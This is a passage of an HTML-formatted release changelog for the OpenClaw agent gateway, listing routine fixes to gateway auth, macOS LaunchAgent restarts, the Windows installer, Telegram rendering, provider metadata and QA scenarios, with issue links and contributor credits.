<li>Agents: bound embedded auto-compaction session write-lock watchdogs to the compaction timeout instead of the full run timeout, so stuck compaction cannot hold the live session lock for the whole run window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494569724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84949" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84949/hovercard" href="https://github.com/openclaw/openclaw/pull/84949">#84949</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Gateway/agents: return phase-aware <code>agent.wait</code> timeout attribution and only cool auth profiles on provider-started timeouts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249469795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65504" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65504/hovercard" href="https://github.com/openclaw/openclaw/issues/65504">#65504</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Gateway: defer provider auth-state prewarm until after startup readiness so early gateway tool/session requests are not blocked by provider auth discovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500834987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85272" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85272/hovercard" href="https://github.com/openclaw/openclaw/pull/85272">#85272</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dutifulbob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dutifulbob">@dutifulbob</a>.</li>
<li>Gateway/models: coalesce provider auth-state rewarms after auth-profile failures and log event-loop delay for warm/rewarm work, so provider auth bursts no longer stack full auth sweeps behind channel replies.</li>
<li>Gateway/models: stop cancelled provider auth-state prewarms from continuing full provider sweeps, so reload and auth-failure bursts no longer keep startup busy.</li>
<li>Agents/Codex: show the first plan update as a transient chat status notice without counting it as final assistant content.</li>
<li>CLI/update: walk the macOS process ancestry and honor the inherited Gateway runtime PID before package updates stop the managed Gateway service, so nested in-band updater children can refuse instead of killing the LaunchAgent-supervised Gateway that owns them. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498492729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85120/hovercard" href="https://github.com/openclaw/openclaw/issues/85120">#85120</a>.</li>
<li>Gateway/LaunchAgent: wait for launchd reload bootout to finish and fall back to kickstart when bootstrap races, so reload handoff does not leave the service deregistered. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488288195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84630/hovercard" href="https://github.com/openclaw/openclaw/issues/84630">#84630</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488410216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84641" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84641/hovercard" href="https://github.com/openclaw/openclaw/pull/84641">#84641</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Gateway/LaunchAgent: treat a concurrent launchd bootstrap as a successful restart when the service is already loaded, avoiding false macOS Gateway restart failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490404700" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84721" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84721/hovercard" href="https://github.com/openclaw/openclaw/issues/84721">#84721</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490407392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84722/hovercard" href="https://github.com/openclaw/openclaw/pull/84722">#84722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/googlerest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/googlerest">@googlerest</a>.</li>
<li>Gateway/service: include the active <code>openclaw</code> command bin directory in managed service PATH generation and doctor audit expectations for npm-global macOS installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478626262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84201" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84201/hovercard" href="https://github.com/openclaw/openclaw/issues/84201">#84201</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483865879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84475/hovercard" href="https://github.com/openclaw/openclaw/pull/84475">#84475</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Control UI/chat: disable the thinking selector for known non-reasoning models instead of showing duplicate Off choices. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476067404" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84069/hovercard" href="https://github.com/openclaw/openclaw/issues/84069">#84069</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DrippingMellow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DrippingMellow">@DrippingMellow</a>.</li>
<li>Memory: expand <code>~</code> in configured extra memory paths before resolving them, so home-relative folders are not treated as workspace-relative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174961637" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58026" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58026/hovercard" href="https://github.com/openclaw/openclaw/issues/58026">#58026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stadman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stadman">@stadman</a>.</li>
<li>Skills: treat <code>openclaw.os: macos</code> as Darwin when checking skill requirements, so macOS-only skills no longer report as missing on macOS hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207464550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61338/hovercard" href="https://github.com/openclaw/openclaw/issues/61338">#61338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jessecq1995/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jessecq1995">@Jessecq1995</a>.</li>
<li>Control UI/logs: strip ANSI escape sequences from displayed Gateway log messages so color codes no longer appear as raw text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240403085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64399" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64399/hovercard" href="https://github.com/openclaw/openclaw/issues/64399">#64399</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guguangxin-eng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guguangxin-eng">@guguangxin-eng</a>.</li>
<li>Docker: pre-create the workspace and auth-profile config mount points with <code>node</code> ownership so first-run named volumes do not start root-owned. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497404130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85076/hovercard" href="https://github.com/openclaw/openclaw/issues/85076">#85076</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>Telegram: pass configured markdown table mode through outbound markdown chunking so chunked sends render tables consistently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497655282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85085" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85085/hovercard" href="https://github.com/openclaw/openclaw/issues/85085">#85085</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ShuaiHui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ShuaiHui">@ShuaiHui</a>.</li>
<li>CLI/update: preserve managed Gateway service environment during package cutovers so macOS LaunchAgent repair/restart reads the pre-update service state instead of caller shell state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463010272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83026/hovercard" href="https://github.com/openclaw/openclaw/pull/83026">#83026</a>)</li>
<li>Agents/providers: honor per-model <code>api</code> and <code>baseUrl</code> overrides in custom provider auth hooks and transport selection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417428084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80487/hovercard" href="https://github.com/openclaw/openclaw/issues/80487">#80487</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417429259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80488/hovercard" href="https://github.com/openclaw/openclaw/pull/80488">#80488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huveewomg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huveewomg">@huveewomg</a>.</li>
<li>Gateway/restart: eager-load the lifecycle runtime before in-place upgrade signal handling so package replacement does not deadlock restart imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493066623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84890/hovercard" href="https://github.com/openclaw/openclaw/pull/84890">#84890</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/myps6415/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/myps6415">@myps6415</a>.</li>
<li>CLI/update: start managed Gateway update handoff helpers from a stable existing directory and tolerate deleted cwd/package roots during macOS LaunchAgent handoff. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473282252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83808" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83808/hovercard" href="https://github.com/openclaw/openclaw/issues/83808">#83808</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473943472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83875/hovercard" href="https://github.com/openclaw/openclaw/pull/83875">#83875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Skills: watch each shared skill directory once across agent workspaces instead of once per agent, preventing file-descriptor exhaustion (<code>EMFILE</code>) that disposed bundle-mcp processes and stalled sessions on multi-agent gateways. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495117353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84968/hovercard" href="https://github.com/openclaw/openclaw/issues/84968">#84968</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498689181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85130" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85130/hovercard" href="https://github.com/openclaw/openclaw/pull/85130">#85130</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Release/security: keep generated npm shrinkwrap package versions inside the pnpm lock graph so published package locks cannot bypass pnpm dependency age and override policy.</li>
<li>Cron: honor <code>cron.retry.retryOn: ["network"]</code> for common network error codes such as <code>EAI_AGAIN</code>, <code>EHOSTUNREACH</code>, and <code>ENETUNREACH</code>.</li>
<li>Gateway chat: broadcast returned agent-run error payloads after an agent starts so ACP/WebChat clients receive terminal idle-timeout errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494484146" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84945" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84945/hovercard" href="https://github.com/openclaw/openclaw/issues/84945">#84945</a>.</li>
<li>Gateway chat display: preserve OpenAI-compatible <code>prompt_tokens</code>, <code>completion_tokens</code>, and <code>total_tokens</code> usage fields in sanitized chat history so llama.cpp sessions keep context counts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386102968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77992" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/77992/hovercard" href="https://github.com/openclaw/openclaw/issues/77992">#77992</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarTT79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarTT79">@MarTT79</a>.</li>
<li>Dashboard/CLI: allow macOS browser launching through <code>open</code> even when SSH environment variables are present, while preserving Linux SSH no-display protection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267511627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67088/hovercard" href="https://github.com/openclaw/openclaw/issues/67088">#67088</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/theglove44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/theglove44">@theglove44</a>.</li>
<li>Codex app-server: keep native web search observations out of mirrored chat transcripts while preserving tool progress telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498152488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85109" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85109/hovercard" href="https://github.com/openclaw/openclaw/issues/85109">#85109</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ugitmebaby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ugitmebaby">@ugitmebaby</a>.</li>
<li>OpenCode Go: strip unsupported Kimi reasoning replay fields before provider requests so repeated <code>kimi-k2.6</code> turns do not fail schema validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473302434" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83812" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83812/hovercard" href="https://github.com/openclaw/openclaw/issues/83812">#83812</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sleeck/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sleeck">@Sleeck</a>.</li>
<li>Browser/CDP: add a WSL2 portproxy self-loop hint when Chrome DevTools endpoints accept connections but return an empty HTTP reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4189130225" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59209/hovercard" href="https://github.com/openclaw/openclaw/issues/59209">#59209</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Owlock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Owlock">@Owlock</a>.</li>
<li>Agents/OpenAI: preserve structured provider error code, type, and redacted body metadata on boundary-aware transport failures.</li>
<li>Doctor/Codex: point native Codex asset warnings at the canonical <code>openclaw migrate plan codex</code> preview command. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494538415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84948/hovercard" href="https://github.com/openclaw/openclaw/issues/84948">#84948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/markoa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/markoa">@markoa</a>.</li>
<li>CLI/models: make <code>capability model auth logout --agent</code> remove auth profiles from the selected non-default agent store. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497811024" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85092" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85092/hovercard" href="https://github.com/openclaw/openclaw/issues/85092">#85092</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>Gateway/models: reuse prepared provider auth metadata during model-listing auth checks so repeated lookups avoid broad plugin discovery while preserving synthetic local auth.</li>
<li>CLI/status: suppress systemd user-service setup hints when <code>openclaw status --deep</code> can already reach a running Gateway RPC service. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497813806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85094" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85094/hovercard" href="https://github.com/openclaw/openclaw/issues/85094">#85094</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>CLI/devices: recover local approval when a same-device repair request replaces the request ID being approved.</li>
<li>CLI/agents: retry transient normal-close Gateway handshakes before falling back to embedded <code>openclaw agent</code> execution.</li>
<li>CLI/update: keep managed Gateway service stop/restart status lines out of <code>openclaw update --json</code> stdout so package-update automation can parse the JSON payload.</li>
<li>Plugins: resolve OpenClaw plugin SDK subpaths for native external plugin runtimes without mutating package installs or broadening process-wide module resolution.</li>
<li>Agents/OpenAI: preserve Responses and Chat Completions <code>reasoning_tokens</code> usage metadata without double-counting it in aggregate output tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502043775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85319/hovercard" href="https://github.com/openclaw/openclaw/pull/85319">#85319</a>)</li>
<li>Control UI/chat: convert pasted <code>data:image/...;base64,...</code> clipboard text into an image attachment instead of dumping the payload into the composer. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4219271267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62604/hovercard" href="https://github.com/openclaw/openclaw/issues/62604">#62604</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cpwilhelmi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cpwilhelmi">@cpwilhelmi</a>.</li>
<li>Providers/Gemini: strip fractional seconds from web-search time range filters so Gemini accepts freshness-bound search requests. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497228388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85071" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85071/hovercard" href="https://github.com/openclaw/openclaw/pull/85071">#85071</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>OpenAI Codex: preserve image input support for sparse <code>openai-codex/gpt-5.5</code> catalog rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497838305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85095" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85095/hovercard" href="https://github.com/openclaw/openclaw/pull/85095">#85095</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
<li>CLI/models: add a piped or pasted API-key path for OpenAI Codex auth and warn when API keys are pasted into token-mode auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506010459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85533/hovercard" href="https://github.com/openclaw/openclaw/pull/85533">#85533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dead-letter missing-harness isolated ingress failures so a poisoned spooled update no longer blocks later same-lane messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504658446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85470" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85470/hovercard" href="https://github.com/openclaw/openclaw/issues/85470">#85470</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506677758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85605/hovercard" href="https://github.com/openclaw/openclaw/pull/85605">#85605</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Plugins/discovery: strip <code>-plugin</code> package suffixes when deriving plugin id hints so package names line up with manifest ids. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499184691" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85170" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85170/hovercard" href="https://github.com/openclaw/openclaw/pull/85170">#85170</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JulyanXu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JulyanXu">@JulyanXu</a>.</li>
<li>Tlon: stop advertising a non-existent agent tool contract in the plugin manifest.</li>
<li>Telegram: preserve fenced code block languages through Markdown rendering so Telegram receives <code>language-*</code> code classes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499735731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85209" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85209/hovercard" href="https://github.com/openclaw/openclaw/pull/85209">#85209</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Windows installer: run npm and Corepack command shims from a Windows-local directory so installs launched from WSL2 UNC paths do not fail before OpenClaw is installed.</li>
<li>Windows updates: roll back git-backed updates to the previous checkout when dependency install, build, UI build, or doctor repair fails.</li>
<li>Windows installer: persist user-local portable Git on PATH and activate the repo-pinned pnpm version for git-backed installs and updates.</li>
<li>Windows installer: bootstrap a user-local portable Node.js when native Windows has no Node and no winget, Chocolatey, or Scoop, so first-run installs can continue on raw hosts.</li>
<li>Windows installer: extract the downloaded portable Node.js directory with native <code>tar</code> before falling back to .NET zip extraction, avoiding PowerShell 5.1 archive and path-length failures.</li>
<li>fix(integrations): enforce channel read target allowlists [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495452049" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84982" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84982/hovercard" href="https://github.com/openclaw/openclaw/pull/84982">#84982</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Agents/heartbeat: route single-owner <code>session.dmScope=main</code> direct-message exec and cron event wakes back to the agent main session so async completions no longer strand context in orphan direct-DM queues. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328109968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71581/hovercard" href="https://github.com/openclaw/openclaw/issues/71581">#71581</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472187030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83743" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83743/hovercard" href="https://github.com/openclaw/openclaw/pull/83743">#83743</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code-mode: expose outer code-mode <code>exec</code> source through the <code>command</code> hook alias with <code>toolKind</code>/<code>toolInputKind</code> discriminators so exec-shaped policies can distinguish code-mode cells. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466955914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83483/hovercard" href="https://github.com/openclaw/openclaw/pull/83483">#83483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/code mode: return structured timeout and runtime-unavailable error codes for known worker failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465759055" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83389" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83389/hovercard" href="https://github.com/openclaw/openclaw/issues/83389">#83389</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466377793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83444/hovercard" href="https://github.com/openclaw/openclaw/pull/83444">#83444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>QA-Lab: isolate multi-scenario suite workers when scenarios need startup config patches, preventing message-routing config from leaking into unrelated scenarios.</li>
<li>QA-Lab: make the commitments heartbeat-target-none scenario request an immediate heartbeat instead of waiting for the next scheduled heartbeat.</li>
<li>Codex/Plugin SDK: deliver Codex-native subagent completions through a generic harness task runtime so harness-backed plugins can mirror durable task lifecycle and completion delivery without Codex-specific SDK imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466398711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83445" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83445/hovercard" href="https://github.com/openclaw/openclaw/pull/83445">#83445</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryanpearson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryanpearson">@bryanpearson</a>.</li>
